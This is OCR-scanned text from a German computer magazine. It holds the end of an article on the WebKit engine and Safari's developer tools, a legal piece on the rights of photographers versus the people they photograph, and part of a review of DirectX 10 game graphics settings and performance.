bung. Die Marktsituation sah 
schlimm aus: Während Net- 
scape 4 langsam Moos ansetzte 
und der Nachfolger nicht in die 
Gänge kam, näherten sich die 
Marktanteile von Microsofts 
Internet Explorer der 100-Pro- 
zent-Marke. Also schrieben sich 
die KDE-Entwickler in C++ eine 
komplett neue Browser-Engine 
namens KHTML nebst einem 
JavaScript-Interpreter KJS und 
veröffentlichten den darauf auf- 
setzenden Browser und Datei- 
manager Konqueror zusammen 
mit KDE 2 im Herbst 2000. 


Zu dieser Zeit führte auch auf 
den meisten Macintosh-Rech- 
nern der Weg ins Web über den 
Internet Explorer. Nachdem 
Apple jedoch das Großprojekt 
OS X erfolgreich lanciert hatte, 
sah man dort die Notwendig- 
keit für einen eigenen Browser. 
Statt bei Null zu beginnen, bau- 
ten die Entwickler auf dem 
unter GNU-Lizenz stehenden 
KHTML auf, das im Vergleich zu 
Mozillas Gecko keine Altlasten 
mitschleppte und erheblich 
schlankeren Code hatte. Aller- 
dings wollte sich Apple nicht an 
KHTML selbst beteiligen, son- 


dern spaltete ein Projekt unter 
eigener Regie ab: Webkit. 


Mit einem Paukenschlag führte 
Apple Anfang Januar 2003 
Webkit und den daraus gebau- 
ten Browser Safari der Öffent- 
lichkeit vor. Noch im gleichen 
Jahr wurde Safari Teil des Be- 
triebssystems OS X 10.3. 


Die Freude der KHTML-Entwick- 
ler, dass Apple ihre Engine auf- 
griff, wich bald Ärger, denn der 
Konzern wollte nicht konstruk- 
tiv an dem Open-Source-Pro- 
jekt mitarbeiten. Die Apple-Pro- 
grammierer gaben ihre Neue- 
rungen nur schubweise an die 
KHTML-Macher zurück, sodass 
die beiden Projekte ausein- 
anderdrifteten. Quelloffen ge- 
mäß den GPL-Bedingungen 
waren nur die WebKit-Bestand- 
teile WebCore (ex-KHTML) und 
JavaScriptCore (ex-KJS). Erst 
Mitte 2005, kurz nach der Veröf- 
fentlichung von Safari 2, ende- 
ten die Querelen mit der end- 
gültigen Freigabe aller Webkit- 
Quellen durch Apple. Safari 
selbst ist dagegen nach wie vor 
Closed Source. 


Konqueror und KHTML haben 
sich zwar bis heute wacker 
gegen die mächtige Open-Sour- 
ce-Konkurrenz von Firefox be- 
hauptet, können aber in Sachen 


Log JavaScript Exceptions 
Show JavaScript Console Crri+Shift+) 
V Enable Runaway JavaScript Timer 


Enable DOM Paste API 


Import IE/Mozilla Bookmarks 


Reload Bookmarks 


Turn Off RSS Support... 


che, Wurzeln und Funktionen zu 
rendern, in Mathe glatt durch. 
Client-seitige Umwandlungen 
per XSLT sind möglich, allerdings 
bleiben Safari & Co. hier gegenü- 
ber der Konkurrenz etwas zu- 
rück: Die XSL-Umwandung muss 
nämlich direkt per <?xml-stylesheet 
type="text/xsl” href="datei.xsl'?> ein- 
gebunden sein; den XSL-Prozes- 


Entwicklerressourcen nicht mit 
Webkit mithalten. Folglich dis- 
kutieren die KDE-Mitwirkenden 
seit Sommer 2007, ob für künfti- 
ge Browserversionen nicht Web- 
Kit anstelle von KHTML treten 
sollte. 


Profitieren könnten von dem 
Zusammenschluss sowohl Web- 
designer, die mit einem Browser 
weniger testen müssten, als 
auch Konqueror-Anwender, denn 
eine weiter verbreitete Engine 
wird von den Designern eher 
berücksichtigt. Auch aus techni- 
scher Sicht spricht einiges für 
diese Lösung, denn Webkit wird 
ohnehin bald Teil von KDE (ab 
Version 4.1): Die GUI-Bibliothek 
Ot, auf der KDE fußt, soll nämlich 
ab Version 4.4 die Engine enthal- 
ten. Allerdings gibt es unter den 
Entwicklern auch Vorbehalte 
gegen Apple. Außerdem hat 
KHTML einige Fähigkeiten, die 
WebKit noch fehlen, etwa auf 
dem Gebiet CSS3. Während sich 
Apple in vertrauensbildenden 
Maßnahmen übt und auch ex- 
ternen Entwicklern die Mitarbeit 
an Webkit erlaubt [5], bleibt die 
Zukunft von KHTML vorerst 
offen: „Solche Entscheidungen 
werden normalerweise erst 
getroffen, wenn Code da ist“, 
meint Sebastian Kügler, Vor- 
standsmitglied des KDE e.V. 
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sor per JavaScript anzuwerfen, 
klappt nicht. 


Wohlgeformt 


Wie alle Browser außer dem 
Internet Explorer kommt Safari 
mit XML-MIME-Typen wie appli- 
cation/xhtmI+xml zurecht, ohne 
die XHTML eigentlich sinnlos ist. 
Statt wie Firefox und Opera bei 
nicht wohlgeformten Dokumen- 
ten einfach mit einer Fehlermel- 
dung abzubrechen, zeigt er zu- 
sätzlich das bis zum Fehler lesba- 
re XML an - ein interessanter 
Kompromiss zwischen der von 
XML geforderten Fehlerintole- 
ranz und Benutzerfreundlichkeit. 

Überhaupt nichts anfangen 
kann WebKit mit WAP bezie- 
hungsweise der zugehörigen 
Markup-Sprache WML. Das hat 
es zwar mit Gecko und IE ge- 
meinsam, doch überrascht das 
schon bei einer Engine, die auf 
Mobilgeräten eine so große 
Rolle spielt. Natürlich kann man 
das auch für ein Indiz nehmen, 
dass WAP mausetot ist. 

Eine andere Komfortfunktion 
behält Apple den Nutzern seines 
iPhone vor: das Zoomen von 
Webseiten, das der Desktop-Sa- 
fari im Unterschied zur Mobilva- 
riante wie auch zum Internet Ex- 
plorer 7 und zu Opera nicht be- 
herrscht. Natürlich lässt sich die 
Schrift vergrößern, doch zerstört 
dies womöglich das Layout der 
Webseite. 


Werkzeuge 


Eher unauffällig verhält sich 
Webkit bei JavaScript-Code; of- 
fenbar haben die Entwickler der 
zuständigen Komponente Java- 
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ScriptCore gute Arbeit geleistet. 
Dennoch wird es beim Entwi- 
ckeln komplexer Anwendungen 
nötig sein, die WebKit-spezifi- 
schen Fehler zu jagen. 

Wie Firefox und Opera bringt 
auch Safari eine brauchbare 
JavaScript-Konsole mit. Diese 
steckt allerdings im normaler- 
weise unsichtbaren „Debug”- 
Menü. Der Weg zum Einblenden 
dieses Menüs führt merkwürdi- 
gerweise über externes Bearbei- 
ten der Browserkonfiguration: 
Windows-Anwender müssen da- 
zu die Einstellungsdatei Pre- 
ferences.plist im Verzeichnis 
%APPDATA%\Apple Compu- 
ter\Safari um die Einträge 


<key>IncludeDebugMenu</key> 
<true/> 


bereichern; auf dem Mac genügt 
die Eingabe von 


defaults write com.apple.Safari 
IncludeDebugMenu 1 


in ein Terminal-Fenster. Die Sa- 
fari-Konsole unterstützt auch 
Debug-Meldungen, die für den 
normalen Benutzer unsichtbar 
bleiben, und bedient sich dabei 
der Firefox-Syntax window.console: 


if (window.console) { 
window.console.log("unsichtbare Debug- 
Meldung"); 

} else if (opera.postError) { 
opera.postError("unsichtbare Debug- 
Meldung (Opera)"); 


} else { 

alert("sichtbarer Hinweis (IE)"); 

} 

Safari hebt solche Hinweise 


durch grüne Schriftfarbe von 

den JavaScript-Fehlern ab. 
Fortgeschrittene können eine 

weitere Hilfe für WebKit-kompa- 


tible JavaScript-Programmierung 
in Anspruch nehmen: den De- 
bugger Drosera. Grundlage ist 
auch hier eine Skript-Konsole, 
doch lässt sich die Ausführung 
der Skripte durch Breakpoints an- 
halten, was einen Blick in aktuelle 
Variablenwerte erlaubt. Leider ist 
Drosera nur in den Nightly Builds 
von WebKit für Mac OS enthal- 
ten; interessierte Windows-An- 
wender müssten den C++-Quell- 
text herunterladen und selbst 
kompilieren (siehe Soft-Link). 

Mit Hinweisen auf CSS-Fehler, 
wie sie die Konsolen von Firefox 
und Opera geben, kann WebKit 
bislang nicht dienen. Dafür bringt 
der Browser ein hervorragendes 
Werkzeug für den Dokumenten- 
baum mit: Web Inspector stellt 
den HTML-Code in einer einfalt- 
baren Baumstruktur dar, zeigt zu 
jedem Element die aktuell gülti- 
gen CSS-Stile und malt daraus 
sogar eine Grafik mit dem Box- 
Modell. Wahlweise wird die An- 
wendung, die man über das Kon- 
textmenü („Inspect Element“) 
aufruft, als eigenes Fenster oder 
als Teil von Safari angezeigt. 

Außer dem Dokumentenbaum 
zeigt der Web Inspector einge- 
bundene JavaScript-Dokumente, 
Stylesheets und Bilder an. Wie 
man es aus der Firefox-Erweite- 
rung Firebug kennt, listet es auch 
die Downloadzeiten für alle diese 
Elemente auf - und zwar in dem 
Apple-typischen Chic grafisch 
aufbereitet. Auch der Web In- 
spector besitzt eine Konsole; 
diese weist auf HTML-Fehler hin. 

Seltsamerweise enthalten 
aber nur die Nightly Builds von 
WebKit den Inspector; zum Akti- 
vieren ist wiederum ein Eingriff in 
die Konfigurationsdatei erforder- 


lich. Windows-Anwender müs- 
sen dazu in dem oben genann- 
ten Verzeichnis die Datei Webkit- 
Preferences.plist um folgenden 
Eintrag erweitern: 


<key>WebKitDeveloperExtras</key> 
<true/> 


Für Mac-Nutzer führt der Weg 
erneut über ein Terminalfenster: 


defaults write com.apple.Safari 
WebKitDeveloperExtras -bool true 


Das einzige bereits in der vorein- 
gestellten Konfiguration aktive 
Hilfsmittel ist das „Activity”-Fen- 
ster im Windows-Menü. Es listet 
alle eingebundenen Dateien auf, 
nennt deren Größe und weist 
auf 404-Fehler hin. 


Fazit 


Von allen Browser-Engines brei- 
tet sich WebKit als jüngste am 
schnellsten aus. Gut möglich, 
dass die schlanke, schnelle und 
standardverträgliche Software 
von den Marktanteilen der eta- 
blierteren Konkurrenz noch einen 
guten Happen abbeißt - nicht zu- 
letzt wegen der Tauglichkeit für 
den wachsenden Markt internet- 
fähiger Mobilgeräte. 

Auch für Windows-affine Web- 
designer ist spätestens jetzt 
der Zeitpunkt gekommen, wo 
sie sich mit WebKit und seiner 
Referenzimplementierung Safari 
auseinandersetzen sollten; dank 
der inzwischen brauchbaren Win- 
dows-Version von Safari 3 geht 
das jetzt zum Glück leichter als 
noch vor einem halben Jahr. Vor 
allem der in den Nightly Builds 
enthaltene Web Inspector hilft 
dabei, die eigenen Webkreatio- 
nen auch für die Safari-Nutzer zu 
trimmen. Und dazu könnten 
viele gehören, die sich den flin- 
ken Apple-Browser einmal aus 
der Nähe anschauen. (heb) 
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Recht | Online-Fotos 


Dr. Ingolf Prinz 


Mein Bild gehört dir? 


Rechte von Fotografen und Abgebildeten 


Wenn Urheber- und Persönlichkeitsrechte bei der Veröffentlichung von 
Bildern miteinander ins Gehege geraten, kann es schnell kompliziert werden. 
Manchmal kommt das alltägliche Rechtsempfinden dann nicht mehr mit. 
Warum sollte ich nicht ein Porträtfoto von mir, das jemand in meinem 
Auftrag angefertigt hat, ins Internet stellen dürfen? Und wer sollte es einem 
Fotografen verbieten, mit einem von ihm geschossenen Hochzeitsfoto auf 
seiner Website die Werbetrommel zu rühren? 


in Rechtsanwalt und IT-Be- 
Fr rater wollte sich bei Unter- 

nehmen um eine Arbeits- 
stelle bewerben. Weil er gelernt 
hatte, dass der erste optische Ein- 
druck wichtig sein kann, ließ er 
sich in einem professionellen Fo- 
tostudio für edel aussehende Be- 
werbungsbilder ablichten. Was 
dabei herauskam, gefiel ihm so 
gut, dass er beschloss, es auch 
anderen Verwendungszwecken 
zuzuführen. 

Was der Mann mit den Foto- 
künstlern beim Auftragsge- 
spräch genau vereinbart hatte, 
ließ sich später nicht mehr ein- 
deutig klären. Jedenfalls hatte er 
nicht bloß auf seinen Beruf hin- 
gewiesen, sondern auch erläu- 
tert, er benötige Bewerbungs- 
fotos in digitaler Form, weil er 
beabsichtige, auch Online-Be- 
werbungen durchzuführen. Er 
bekam die angefertigten Por- 
träts nicht nur in Form von Pa- 
pierausdrucken, sondern auch 
als JPEG-Dateien auf einer mit 
der Beschriftung „Online“ verse- 
henen CD-ROM, die man ihm zu- 
sätzlich in Rechnung stellte. 


Dein Foto? Mein Werk! 


Als das Studio später feststellte, 
dass der Kunde eines der Fotos 
zu Präsentationszwecken auf sei- 
ner Website eingestellt hatte, 
forderte es ihn auf, dies zu unter- 
lassen. Eine \Web-Veröffentli- 
chung sei durch den von ihm ge- 
zahlten Preis nicht abgedeckt. Er 
nahm das Bild zwar vom Netz, 
wollte aber keine Unterlassungs- 
erklärung unterschreiben. Bei 
der Erteilung des Auftrags habe 
er doch hinreichend deutlich ge- 
macht, dass er die Porträts zur 
Veröffentlichung im Rahmen sei- 
nes Web-Angebots benötige. 
Die Sache kam vors Landge- 
richt (LG) Köln. [1] Dort berief der 
Kunde des Fotostudios sich unter 
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anderem auf Paragraf 60 des Ur- 
heberrechtsgesetzes (UrhG), der 
die „Vervielfältigung sowie die un- 
entgeltliche und nicht zu gewerb- 
lichen Zwecken vorgenommene 
Verbreitung eines Bildnisses“ 
durch dessen Besteller oder 
durch den Abgebildeten für „zu- 
lässig“ erklärt. Die Richter wiesen 
jedoch auf eine fast genau drei 
Jahre zuvor ergangene Entschei- 
dung des Oberlandesgerichts 
(OLG) am gleichen Ort hin [2]: Es 
hatte bereits festgestellt, dass 
dieser Paragraf keine umfassen- 
den Verwertungsrechte einräumt. 

Vielmehr geht es um das aus 
persönlicher Verbundenheit her- 
rührende Interesse eines Bildbe- 
stellers beziehungsweise eines 
Abgebildeten, die betreffende 
Darstellung selbst zu vervielfälti- 
gen und kostenlos an einzelne 
Dritte weitergeben zu können. 
So ist es legal möglich, beispiels- 
weise ein bestelltes Porträtfoto 
privat zu kopieren und als Er- 
innerungsgeschenk bei einer Fa- 
milienfeier an Verwandte oder 
Freunde weiterzugeben [3]. Eine 
Art Freifahrschein für die öffent- 
liche Wiedergabe, insbesondere 
im Internet, liefert $ 60 UrhG je- 
doch nicht. 

Dem Landgericht zufolge ist 
keine vertragliche Einigung dar- 
über zustande gekommen, ob 
der Kunde das Bildmaterial auf 
seiner Website veröffentlichen 
dürfe. Dazu wäre ein expliziter 
Hinweis auf die geplante Nut- 
zung erforderlich gewesen. Al- 
lein durch die Erwähnung seiner 
beruflichen Tätigkeit sowie die 
Bestellung digital angefertigter 
Fotos für Online-Bewerbungen 
habe der Mann dem Fotostudio 
nicht zweifelsfrei klargemacht, 
dass er die Abbildungen auch 
zur Veröffentlichung im Internet 
benötige. 

Gemäß den Paragrafen 133 
und 157 des Bürgerlichen Ge- 


setzbuchs (BGB) seien Willenser- 
klärungen, die im Rahmen einer 
vertraglichen Vereinbarung ab- 
gegeben werden, nach dem 
„objektiven Empfängerhorizont" 
auszulegen. Auf Deutsch: Es ist 
nicht entscheidend, was je- 
mand sagen wollte, sondern 
wie es von seinem Vertragspart- 
ner verstanden werden musste. 
Das Fotostudio sei nicht ver- 
pflichtet gewesen, den Erklä- 
rungen des Kunden die von die- 
sem vielleicht beabsichtigte er- 
weiterte Bedeutung beizumes- 
sen, er wolle die Bilder auch im 
Internet veröffentlichen. Die 
Verwendung des Materials im 
Rahmen individueller Online- 
Bewerbungen sei etwas ganz 
anderes als das Publizieren auf 
einer Website. 

Nur kurz verwiesen die Richter 
auf den in $ 31 Abs. 5 UrhG fest- 
gelegten und als Auslegungs- 
regel anzuwendenden Zweck- 
übertragungsgedanken [4]: So- 
fern beim Abschluss eines Ver- 
trags über die Nutzung urheber- 
rechtlich geschützten Materials 
nichts anderes eindeutig verein- 
bart wird, räumt der Urheber sei- 
nem Vertragspartner nur so weit 
Nutzungsrechte ein, wie es zum 
Erreichen des Vertragszwecks 
unerlässlich ist. 

Das Landgericht urteilte also 
zugunsten des Fotostudios. Der 
durch allerlei unklare Sachver- 
halte geprägte Fall ging schließ- 
lich in die Berufungsinstanz, wo 
sich die Streitparteien auf einen 
Vergleich einigten. [5] Das LG- 
Urteil ist somit nicht rechtskräf- 
tig geworden - das hat aber für 
die eigentliche Sache keine Be- 
deutung. 

Auch ein Hinweis auf das viel 
beschworene „Recht am eige- 
nen Bild“ hätte dem Fotokun- 
den letztlich nicht weitergehol- 
fen. Es bildet den Gegenstand 
von Paragraf 22 des „Gesetzes 


betreffend das Urheberrecht an 
Werken der bildenden Künste 
und der Photographie“ (Kunst- 
UrhG). Dort heißt es: „Bildnisse 
dürfen nur mit Einwilligung des 
Abgebildeten verbreitet oder öf- 
fentlich zur Schau gestellt wer- 
den.” Genau gelesen bedeutet 
das aber nur, dass der Abgebil- 
dete eine Veröffentlichung und 
Verbreitung seines Bildnisses 
durch Dritte verhindern kann, 
wenn er nicht damit einverstan- 
den ist. 

Das „Recht am eigenen Bild“ 
schützt das Persönlichkeitsrecht 
des Abgebildeten, räumt ihm je- 
doch keine Verwertungsrechte 
an dem Bildnis ein. Nach Para- 
graf 72 des Urheberrechtsgeset- 
zes (UrhG) kommt dem Fotogra- 
fen als „Lichtbildner“ ein urhe- 
berrechtlicher Schutz an dem 
von ihm gefertigten Bild zu. 
Somit stehen das Vervielfälti- 
gungsrecht (8 16 UrhG) und das 
Verbreitungsrecht ($ 17 UrhG) 
ausschließlich dem Fotografen 
zu. Falls dieser als Angestellter 
etwa eines Fotogeschäfts gehan- 
delt hat, liegen die Verwertungs- 
rechte gemäß 843 UrhG im 
Zweifelsfall bei diesem Unter- 
nehmen. 


Werbefigur wider Willen 


Umgekehrt stoßen aber auch 
derartige Verwertungsrechte am 
Grenzen - und zwar genau dort, 
wo sie mit den Persönlichkeits- 
rechten des oder der Abgebilde- 
ten kollidieren. Das mussten ge- 
legentlich bereits Fotografen 
zähneknirschend einsehen, die 
etwa mit besonders gelungenen 
Ablichtungen von Hochzeitspaa- 
ren ihre Websites, Angebotsflyer 
oder Anzeigen verziert hatten. 
Erboste Brautpaare, die nicht als 
unfreiwillige Werbemodels her- 
halten wollten, wehrten sich er- 
folgreich dagegen. (psz) 
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Hartmut Gieselmann 


Gorillas im Nebel 


DirectX-10-Spiele zwischen Schönheit und Schnelligkeit 


Windows Vista verspricht mit Hilfe von DirectX 10 schickere Grafikeffekte 
für Spiele. Leider kosten die Verschönerungen auch Performance, sodass 
man genau abwägen muss, welche Effekte den Aufwand wert sind. Mit ein 
paar Tricks lassen sich die Spiele aber auch unter XP aufpolieren. 


it der Einführung von 

Windows Vista und 

dem dazugehörigen Di- 
rectX 10 versprach Microsoft Spie- 
lern atemberaubende Grafikeffek- 
te bei einer deutlich effizienteren 
Auslastung der Hardware. Doch 
ein Jahr nach dem Start kommt 
der DirectX-10-Zug erst langsam 
ins Rollen. So macht Cryteks Ego- 
Shooter „Crysis“ erstmals inten- 
siven Gebrauch von den neuen 
Funktionen - sehr zur Freude der 
Grafikkartenhersteller Nvidia und 
ATI, die pünktlich zum Start des 
Spiels mit neuen Karten zwischen 
150 und 250 Euro aufwarten. 

Erst mit einer DirectX-10-Karte 
und Vista darf der Spieler bei Cry- 
sis überhaupt die höchsten De- 
tailstufen auswählen. Doch der 
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Shooter entpuppt sich als nim- 
mersatter Performance-Fresser. 
Mit einigen Tricks kann man Cry- 
sis auf aktuellen Rechnern aber 
auch unter XP zusätzliche Effekte 
beibringen, ohne dass die Leis- 
tung zu sehr leidet. Andere 
DirectX-10-Spiele verhalten sich 
genügsamer, wie die später fol- 
genden Beispiele „Unreal Tour- 
nament 3“, „Bioshock“, „Hellgate: 
London” und „World in Conflict” 
zeigen. 

Um die Leitungsunterschiede 
zu verdeutlichen, haben wir die 
Frameraten von Crysis unter 
Windows XP mit DirectX 9 und 
Windows Vista mit DirectX 10 in 
verschiedenen Detailstufen ge- 
messen. Als Hardware wählten 
wir einen PC mit einem Intel 


Core 2 Duo E6750 auf einem 
Board mit P35-Chipsatz mit 
2 GByte DDR2-RAM und jeweils 
eines der neuen Grafikkartenmo- 
delle Radeon HD 3850 (160 Euro) 
und HD 3870 (210 Euro) von 
AMD/ATI sowie Nvidias GeForce 
8800 GT (250 Euro). Die neue 
GTS-Variante aus dem Hause 
Nvidia war zum Testzeitpunkt 
noch nicht verfügbar. Mit Fest- 
platte, DVD-Brenner, Gehäuse, 
Netzteil und Betriebssystem kos- 
tet ein solcher PC rund 800 bis 
900 Euro. 

Die Spiele liefen mit einer Bild- 
schirmauflösung von 1680 x 1050 
Bildpunkten, was der physischen 
Auflösung aktueller 22-Zoll-TFT- 
Monitore entspricht. Eine zusätz- 
liche Kantenglättung (Antialia- 


sing) schalteten wir aus Perfor- 
mance-Gründen aus. 

Die für Crysis passenden Trei- 
ber beider Grafikchiphersteller 
befinden sich noch im Beta-Sta- 
dium. Nvidia empfiehlt für das 
Spiel unter Windows XP die Ver- 
sion 169.09 und unter Vista die 
169.12. Bei ATI sind mit dem ak- 
tuellen Treiber Catalyst 7.11 Tex- 
turfehler zu sehen, man muss 
deshalb die ältere Version 7.10 
mit dem Crysis-Hotfix einspielen, 
die man nur tief vergraben auf 
der Webseite des Herstellers fin- 
det (siehe Soft-Link). AMD/ATIs 
Radeon HD 3850 stotterte zu- 
dem beim Abspielen von Videos 
und in der Menüsteuerung. 


Vista in der Krise 


Wie man an den Ergebnissen auf 
Seite 145 unschwer erkennen 

ann, liegt die Performance 
unter Vista mit DirectX 10 rund 
20 Prozent unterhalb der von 
Windows XP. Unter DirectX 9 ist 
es mit einer GeForce 8800 GT 
immerhin möglich, das Spiel in 
der hohen Detailstufe mit durch- 
schnittlich 30 fps flüssig zu spie- 
len. Allerdings muss man auch 
hier in den späteren Eis-Leveln 
die Detailstufe in den mittleren 
Gang zurückschalten, da sonst 
die Framerate aufgrund der auf- 
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wendigen Shader-Effekte auf 
unter 20 fps sinkt. Hier büßt Cry- 
sis allerdings viele seiner visuel- 
len Reize ein. Mit den ATI-Karten 
und unter Vista muss man gar 
noch einen Gang niedriger 
schalten: Die ersten zwei Drittel 
des Spiels laufen auf mittlerer 
Stufe, bei Anbruch der Eiszeit 
geht's nur noch im ersten Gang 
weiter. 

Konsequent wäre es gewesen, 
wenn die sehr hohen Detail-Ein- 
stellungen nur unter XP zur Aus- 
wahl stünden. Wer sie dort aus- 
probieren will, muss die Konfigu- 
rationsdateien im Verzeichnis 
Crysis\Game\Config\CVarGroups 
mit einem Texteditor bearbeiten. 
Dort sind die Variablenwerte für 
die unterschiedlichen Detail- 
stufen gespeichert. An oberster 
Stelle findet man die Werte für 
sehr hohe Details, darunter unter 
den Ziffern 1 bis 3 die Werte für 
die niedrige, mittlere und hohe 
Stufe. Nun muss man die obers- 
ten Variablenwerte in einen der 
unteren Abschnitte kopieren und 
die betreffende Detailstufe im 
Programm auswählen. 

Allerdings können nicht alle 
DirectX-10-Effekte unter DirectX 9 
dargestellt werden, weshalb die 
Performance-Unterschiede bei 
den hohen Details zwischen bei- 
den Betriebssystemen deutlich 
höher ausfallen. So fehlen die 
weichen Schattenverläufe und 
auch die Bewegungsunschärfe 
fällt weniger auf. Letztere lässt 
sich zwar mit dem Parameter 
„*_MotionBlur=4" verstärken, 
allerdings geht dies sehr zu Las- 
ten der Framerate. 

Den größten Leistungshunger 
haben die Shader-Effekte. Des- 
halb entscheidet bei der gewähl- 
ten Auflösung fast ausschließlich 
die Grafikkarte und nicht die CPU 
darüber, ob das Spiel flüssig läuft 
oder nicht. Die GeForce 8800 GT 
bringt 112 Stream-Prozessoren 
zur Shader-Berechnung mit, die 
mit 1,5 GHz getaktet sind. Damit 
ist sie zwar günstiger, aber kaum 
langsamer als die GTX- und Ultra- 
Modelle und übertrifft das alte 
GTS-Modell deutlich. Die ATI-Kar- 
ten bringen zwar dreimal so viele 
Stream-Prozessoren mit, diese 


arbeiten aber offensichtlich nicht 
so effizient. 

Unter den minimalen System- 
voraussetzungen (CPU mit 
2,8 GHz, 1 GByte RAM, GeForce 
6800 GT, Radeon 9800 Pro) sieht 
Crysis kaum besser aus als ein 
sechs Jahre alter Shooter a la 
Operation Flashpoint. Die Wol- 
ken am Himmel sind nur gemalt, 
alle Objekte werden statisch be- 
leuchtet und weder Bäume noch 
Gebäude lassen sich zerstören, 
was den Spielablauf merklich be- 
einträchtigt. Auf mittlerer Stufe 
wirkt das Spiel kaum besser als 
der Vorgänger Far Cry. Am 
Strand herrscht bestes Postkar- 
tenwetter und auf HDR-Rende- 
ring wird verzichtet - immerhin 
zerbersten unter Beschuss ge- 
nommene Bäume. Erst in der 
hohen Einstellung kann sich das 
Spiel grafisch von der Konkur- 
renz absetzen. Der Himmel ist 
nun nicht mehr strahlend blau, 
sondern in ein diffuses Licht ge- 
taucht und durch die HDR-Be- 
leuchtung sieht die Szenerie 
deutlich realistischer aus. 

Es fehlen allerdings noch eini- 
ge wichtige Effekte, die nur im 
höchsten Detailmodus sichtbar 
werden. Um diese mit aktueller 
Hardware einigermaßen spielbar 
darstellen zu können, sollte man 
das Spiel im DirectX-9-Modus 
starten. Dazu ruft man unter 
Vista das Hauptprogramm mit 
dem Zusatz „-dx9” auf. Im Ver- 
zeichnis „Crysis” erstellt man vor- 
her eine Textdatei namens „Sys- 
tem.cfg” und übergibt dort zu- 
sätzliche Parameter an das Pro- 
gramm: 


r_UsePOM=1 
r_sunshafts=1 
q_Renderer=3 
r_colorgrading=1 
r_HDRRendering=1 
r_SSAO=1 
e_proc_Vvegetation=0 


„"_UsePOM=1* schaltet das Pa- 
rallax Occlusion Mapping ein, 
das Oberflächen plastisch er- 
scheinen lässt. Die Sunshafts ma- 
chen Sonnenstrahlen sichtbar, 
wenn sie durch die Baumkronen 
scheinen. Das Colorgrading tönt 
im Zusammenspiel mit der Ren- 


Wechselhaftes Wetter: Auf der niedrigsten Stufe 

(oben) hängt bei Crysis der Himmel voll gemalter 

Wolken, auf der mittleren Stufe strahlt die Sonne wie im 
Karibik-Urlaub. Die hohe Detailstufe versetzt den Spieler 
wiederum in Abendstimmung. In der höchsten Detailstufe 
(unten) wird das Wetter diesig, wie man an den durch die 
Baumkronen fallenden Sonnenstrahlen sehen kann. 

Die Bilder stammen aus derselben Spielszene. 
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derstufe 3 die Farben ab. HDR- 
Rendering und SSAO (Ambient 
Occlusion) sorgen für eine realis- 
tischere Beleuchtung. Crysis be- 
rechnet einen Teil der Vegeta- 
tion prozedural, die allerdings 
unvermittelt im Bild aufpoppt 
und dadurch den optischen Ein- 
druck eher stört. Deshalb schal- 
tet man das überflüssige Grün- 
zeug mit „e_proc_vegetation=0" 
am besten ganz aus. 

Die Befehle lassen sich auch 
direkt im Spiel testen. Dazu öffnet 
man die Konsole mit der A-Taste 
und gibt den Befehl „con_restric- 
ted 0” ein. Die aktuellen Werte 
der Variablen erfährt man, wenn 
man nur ihren Namen eingibt. 
Neue Werte übergibt man ohne 
das Gleichheitszeichen. Zur Kon- 
trolle kann man sich die Frame- 
rate mit „r_DisplayInfo 1” anzei- 
gen lassen. 


Tempomacher 


Einen zu Crysis konträren Ansatz 
verfolgt Unreal Tournament 3. 
Die Programmierer bei Epic 
legten bei der Unreal Engine 3 
größten Wert auf konstante 
Frameraten und ordneten anders 
als Crytek die grafischen Effekte 
dieser Maxime unter. Dazu findet 
man im Setup den Eintrag 
„Smooth Framerate”, der dafür 
sorgt, dass die Framerate mög- 
lichst nicht unter 22 fps fällt 
und maximal auf 62 fps anstei- 
gen kann. Höhere Werte hätten 
bei einer Bildwiederholrate von 
60 Hz, mit der die meisten TFTs 
arbeiten, ohnehin wenig Sinn. 
Die Werte für die minimale und 
maximale Framerate werden 
durch die Variablen „MinSmoo- 
thedFrameRate“ und „MaxSmoo- 
thedFrameRate“ in der Datei 


UTEngine.ini im Verzeichnis „Ei- 
gene Dateien\My Games\Unreal 
Tournament 3\UTGame\Config” 
festgelegt. In Online-Matches ar- 
beitet das Programm unabhän- 
gig von diesen Werten mit einer 
festen Obergrenze von 90 fps. 

Auf unserem Testsystem lief 
das Programm selbst mit maxi- 
malen Details flüssig. Dafür 
reichte sogar die günstige Rade- 
on HD 3850 mit 256 MByte Spei- 
cher. UT3 nutzt unter Windows 
Vista zwar den Renderpfad von 
DirectX 10, es sind allerdings 
keinerlei optische Unterschiede 
zu DirectX 9 auszumachen. 
Damit das Spiel auch unter Vista 
mit DirectX 9 läuft und annä- 
hernd die gleiche Performance 
wie unter Windows XP erreicht, 
kann man in der Datei UT- 
Engine.ini die Variable „Allow 
D3D10=False” setzen. 

Auf älteren Rechnern muss 
man für ein flüssiges Spielerleb- 
nis mitunter die Detailstufen her- 
unterschalten. Auf Stufe 1 für die 
minimale Systemkonfiguration 
läuft das Spiel zwar auch auf drei 
Jahre alten Rechnern ordentlich, 
sieht aber ohne dynamische 
Licht- und Schatteneffekte und 
mit groben Texturen hässlicher 
aus als der Vorgänger aus dem 
Jahre 2004. Erst ab der dritten 
Detailstufe kann es diesen op- 
tisch übertrumpfen. Glüheffekte 
und detaillierte Figurtexturen 
werden allerdings erst in der 
höchsten Stufe eingeschaltet. 

Wer darauf nicht verzichten 
will, kann wahlweise auch die 
interne Auflösung mit dem Regler 
„screen Percentage” im Advan- 
ced-Graphics-Menü auf bis zu 
50 Prozent reduzieren. Das Spiel 
wird dann nur noch mit der hal- 
ben Auflösung gerendert und 


Attuck the Eypr Ar 


Bei Unreal Tournament 3 sind unter DirectX 9 und 10 keinerlei 
visuelle Unterschiede auszumachen. Das Spiel lief auf unserem 
Testsystem selbst auf der höchsten Detailstufe flüssig. 
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anschließend auf die volle Bild- 
schirmgröße hochskaliert, wo- 
durch das Bild etwas unscharf 
wirkt. Die HUD-Anzeigen behal- 
ten jedoch ihre volle Auflösung 
und werden weiterhin scharf ab- 
gebildet. 

Epic verkauft die Unreal En- 
gine 3 auch an andere Entwick- 
ler. So nutzt Take 2s „Bioshock“ 
die gleiche Engine, die allerdings 
für die Bedürfnisse der Unterwas- 
serstadt angepasst und erweitert 
wurde. Hinzugekommen sind 
beispielsweise neue Wassereffek- 
te und DirectX-10-Shader. Unter 
Vista lassen sich im Setup soge- 
nannte „DirectX 10 Detail Sur- 
faces” aktivieren. Mit diesen kräu- 
seln sich Wasseroberflächen ab- 
wechslungsreicher, die Luft flirrt 
über Flammen realistischer und 
Figuren werfen feinere Schatten. 
Im Spiel sind diese Unterschiede 
allerdings nur im direkten Ver- 
gleich auszumachen. Immerhin 
haben die Entwickler die DirectX- 
10-Effekte so geschickt program- 
miert, dass das Spiel unter Vista 
mit der GeForce 8800 GT sogar 
etwas schneller läuft als unter XP 
und mit den AMD/ATI-Karten nur 
